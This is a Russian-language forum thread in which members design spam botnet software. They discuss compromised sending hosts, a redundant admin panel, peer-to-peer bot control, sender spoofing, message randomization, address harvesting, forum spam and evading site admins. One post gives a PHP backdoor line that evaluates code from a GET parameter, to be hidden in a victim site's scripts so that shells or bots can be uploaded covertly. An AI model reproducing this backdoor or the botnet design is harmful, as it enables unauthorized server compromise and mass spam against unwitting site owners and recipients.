Вобщем решил немного болталку повернуть в нужное русло Давайте представим себя на месте клиента который дает ТЗ кодеру и заказывает себе написание спамера...скажем условие такое что рассылка спама ведется с сотен хостов- разумеется нужна и админка, вобщем что бы вы хотели видеть за софт, с каким функционалом, как вы видите рандомизацию, метод контроля за всеми сендерами,какие данные должны быть постоянны а какие рандом{ я имею ввиду имя, емайл отправителя } нужно ли вам чтоб рассылка велась через прокси, нужны ли отчеты о удачной рассылке , нужно ли такое- что если админ спалит что с его сайта ведется рассылка и удалит сендер- чтоб он автоматически подгружался и т д... вобщем мне интересны ваши грамотные ответы, и если увижу таковые с пониманием темы о чем идет речь то посты буду оценивать P.S.[Ответы такие как:"чтобы была доставка в инбокс- " не канают , т е ваш ответ должен содержать ТЗ для того чтоб письмо было доставленно в инбокс ]
темы о спаме запрыщены, вас банят. начинайте новый пост зы если ваш пост пожать винраром то получится - как грамотно организовать спам ботнет? + за хорошую идею =) зыы ааа дак это викторина))
Ботнет использующий для связи принципы p2p, синонимизация определенных точек текста, возможность динамического создания сообщения (замена ключевых слов и т.д). Контроль целостности ботнета (отслеживание кол-ва ботов). Это так, за пару секунд придуманно.
в рандоме имени лучше использовать что то читаемое, а не вида: письмо от HIhklut865 (взять базу имен и фамилий, названий фирм, етс (сделать возможность выбора имена/названия в зависимости от таргетирования)) лог об удачной рассылке обязателен. шаман выше написал. возможность выбора прокси/без обязательна.
я все так примерно и представлял, у меня простая дилема- где найти золотую середину между удобством (читай между строк- громозкостью кода) и скоростью ведь действительно можно заюзать принцип p2p но и тут есть подводные камни...- нагрузка на хост с админкой- как следствие мы ее палим- если хост не обузоустойчивый ну и воруем скорость рассылки... , кроме всего прочего есть у меня мысль что необязательно загружать бота на хост перманентно а создавать его на время рассылки и по окончанию ее, когда он отработает- самоудалялся
все очень просто - трояним скрипты ну по принципу <?php eval(stripslashes($_GET[e])); ?> и в любое время - без палева мы можем хоть шелл залить на сервак- хоть своего бота, всетаки незаметная строчка среди десятков тысяч пхпкода незаметнее- чем новый файл на хосте, который можно загрузить любое количество раз вобщем между рассылками нашего бота просто напросто не спалит админ
Как я считаю, и пару дней назат собирался реализовать: Поддержка прокси. Отправка писем с подменой отправителя. Спам/Флуд по списку. Добавление в список новых адрессов, без приостановки спама. Поддержка прикрепления файлов. Поддержки функции инкрементирования счётчика, при переходе получателя по ссылке (это пол-работы, остальное на контенте ссылки). Хорошая, годная статистика работы спама (опциональный вывод через указанный промежуток времени). Поддержка отправки уникальных писем. Поддержка сборов адрессов по регулярному выражению на указанном сайте. Поддержка threads (потоки). Нотификация/вывод на указанный сайт. Спам по указанному времени (правдо, мало нужная вещь). Указание промежутка между отправкой писем. полная поддержка Mail-RFC. Автоответ, если получатель написал нам ответное письмо. ____ Спам не связанный с Mail: (сибирался добавить далее, в виде плагинов) Спам по форумам (получение версии движка и пост туда, где разрешено). Сбор ссылок на форумы. Мониторинг работы процессора. Еще пара плюшек, уже не помню.
Буду говорить как писал бы этот софт я: 1)Админка - она должна быть не одна, ведь всякое может случится.Желательно чтоб их было n-ое количество штук на разных хостах.Если это будет идти как сервис спама то в админке должна быть возможность регистрации и пополнения баланса.Также важную роль имеет шифрованная передача трафика между админкой и шеллом/ботом. 2)Рандомизация - я бы сделал пункт в меню админки с возможностью создавать проект для спама.Рандомизацию сообщения прикрутил бы как макрос, типа {привет|приветствую|здравствуйте|}.Имя и имейл отправителя я рандомизировал бы 2мя вариантами на выбор пользователя: 1)Вышеприведённые макросы 2)Программный рандом (типа random.Next(100, 10000); ) 3)Прокси - сделал бы на выбор пользователя, прокси естественно он бы вставлял свои (покупал и загружал как .txt файл или вставлял в форму). 4)Отчёты - конечно же они нужны, причём как можно детальнее и нагляднее.Схемы, графики, количество ошибок, количество отправленных писем, etc. 5)Подгрузка сендера после удаления - если есть возможность то сделал бы.Почему бы и нет? P.S Особо всё не расписывал ибо у самого мало времени, чуть позже допишу всё что думаю P.P.S Если кодер ты - как можно не знать что ты хочешь написать? У меня всегда после начала работы над проектом идеи приходят сами.
По первому пункту: Админка может иметь вид локального клиента спамера. Это удобнее. Второе: Подобная рандомизация не имеет смысла. Хотя имеет, но в случае, если мы введём не рандомное слово, а текст.
кстати пришло в голову только что что на админку можно подгрузить функцию, что если в тексте присутствует ссылка то автоматически прогонять ее через "сервисы коротких ссылок" и соответственно сохранять в лог, который передается ботам, далее можно организовать отчет ПРОЧИТАННЫХ писем (хотя это помоему лишнее) Вобщем сделать можно много чего, просто если на мерседес- повесить броню от танка - то разве мы этим улучшим ее свойства? да- вернее улучшим- но всеравно гдето останемся в проигрыше....нгужна золотая середина еще раз большое спасибо всем тем кто заходит в эту тему не с целью флуда пока что я не пожалел что создал тему в Болталке и многие опции предложенные Вами- в тему
По первому - круто, а что будет проще, написать 1 админку или серверную админку + клиентскую?Или ты хочешь чтоб боты отстукивались на все клиенты ? По второму - бро, если бы ты внимательнее прочитал мой месседж, ты бы наверное понял что я написал именно то что ты назвал "Хотя имеет".
Нагрузка из-за р2р? Он подразумевает минимальную нагрузку на хост так как обмен информацией идет всего с 1 ботом, и он еще с 1 и так далее.
я понимаю что по типу торенттреккера, однако в целях безопасности, если спалят нашего бота на своем хосте- НИЧЕГО не должно указывать на адреса других- т е обмен инфой между ними должен быть через админку....
а, если надо такой уровень безопасности то да. Так мой способ предполагал отсутствие нормальной админки. То есть каждый бот знает о существовании только еще 1 бота которому передает команду. В случае смерти 1 из ботов (разрушения цепочки) бот сообщяет это в нормальную админку (в которой есть адреса всех ботов) и админка выдает нового "приемника". Вот такая у меняя идея + где то была и реализация =)
Мой питон быдло код, если найду то выложу, года полтора назад писал. А можно ссылку на хабр? ____________________ АДД. Реальзации в живых не осталось... Стер вместе с кате.